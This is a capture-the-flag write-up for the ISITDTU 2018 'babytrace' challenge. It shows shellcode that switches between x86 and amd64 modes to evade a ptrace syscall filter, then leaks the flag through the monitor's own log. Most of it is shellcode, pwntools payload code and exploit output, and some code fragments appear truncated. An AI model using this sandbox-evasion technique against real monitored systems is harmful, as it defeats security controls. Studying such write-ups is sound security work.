ISITDTU CTF 2018 Finals - babytrace

nc 31337

Attachment: babytrace

$ file babytrace
babytrace: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 2.6.32, BuildID[sha1]=67c237b735a73ebb78528e9c220f9c89f260c36f, not stripped

This one was a bit tricky :)

On the remote server a script is running, which let’s us enter shellcode and then executes it via the babytrace binary.

The downside here is, that the script ptraces all syscalls in the binary and drops with an error message, if we try to open /home/babytrace/flag :

[CRITICAL] Found sys_open /home/babytrace/flag

It also contains a list of syscalls, which which will be blacklisted. The script will also break, if we access one of those syscalls. Thus, we cannot just pop a shell, since execve is blacklisted, so where to go from here?

Well, since the machine, the binary is running on is 64 bit, we can switch between x86 and amd64 mode in our shellcode with

call 0x33:0x804a100

and getting back into x86 mode via


We can abuse this, to switch to amd64 mode and use open there, to open the flag file. The ptrace script won’t catch it, since it’s looking for x86 syscalls.

# x86 shellcode
SC1 = """ 
  call 0x33:0x804a100

# amd64 shellcode
SC2 = """
  xor rax, rax
  mov al, 2
  mov rdi, 0x804a132
  xor rsi, rsi
  xor rdx, rdx

  xor rax, rax
  mov al, 0
  xor rdi, rdi
  mov di, 3
  xor rsi, rsi
  mov rsi, 0x804a146
  xor rdx, rdx
  mov dl, 100


# pass the x86 shellcode
payload = asm(SC1, os="linux", arch="x86")
payload += "\x90"*(0x100-0x40-len(payload))

# pass the amd64 shellcode
payload += asm(SC2, os="linux", arch="amd64") 

# pass the flag file to read
payload += "/home/babytrace/flag\x00"

Our payload now contains x86 and amd64 shellcode at once :)

When call 0x33:0x804a100 from the first shellcode gets executed, it will switch to amd64 mode and jump into our second shellcode SC2, where we can now just use amd64 syscalls to open and read the flag.

But still a big problem remains: We have no access to any file descriptor from the running python script. It only reads input from us once, sends it to the binary and from then on, we’ll only be able to receive the logging output from the python script.

How can we now exfiltrate the flag from the remote server without being able to do a write whatever.

Remember the first issue with the binary trying to hinder us on opening a file, that contains the word flag?

[CRITICAL] Found sys_open /home/babytrace/flag

Well, it just killed itself with this :)

When reading the content of the flag file, we’ll just read it directly behind the flag filename itself. Then we can switch back to x86 mode with retf, and now we’ll just try to open this file from x86 mode again.

SC1 = """ 
  call 0x33:0x804a100
  xor eax, eax
  mov al, 5
  mov ebx, 0x804a132
  xor ecx, ecx
  xor edx, edx
  int 0x80

Since we’re back in x86 now, the python script will watch over our syscalls again and see that we’re trying to open the flag file and tells us that this won’t be possible (and exfiltrate the flag itself for us in this way)

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[....../.] Opening connection to on port 2222: Trying
[+] Opening connection to on port 2222: Done
[*] Switching to interactive mode
[x] Starting local process '/home/babytrace/babytrace'
[+] Starting local process '/home/babytrace/babytrace': pid 901
[*] [901] Start Trace Process
[CRITICAL] Found sys_open /home/babytrace/flagISITDTU{86301860ff47bc6beb82e7f9f79e4c1daca85db7}

[*] [901] Finish Trace Process
INFO:pwnlib.exploit:[901] Finish Trace Process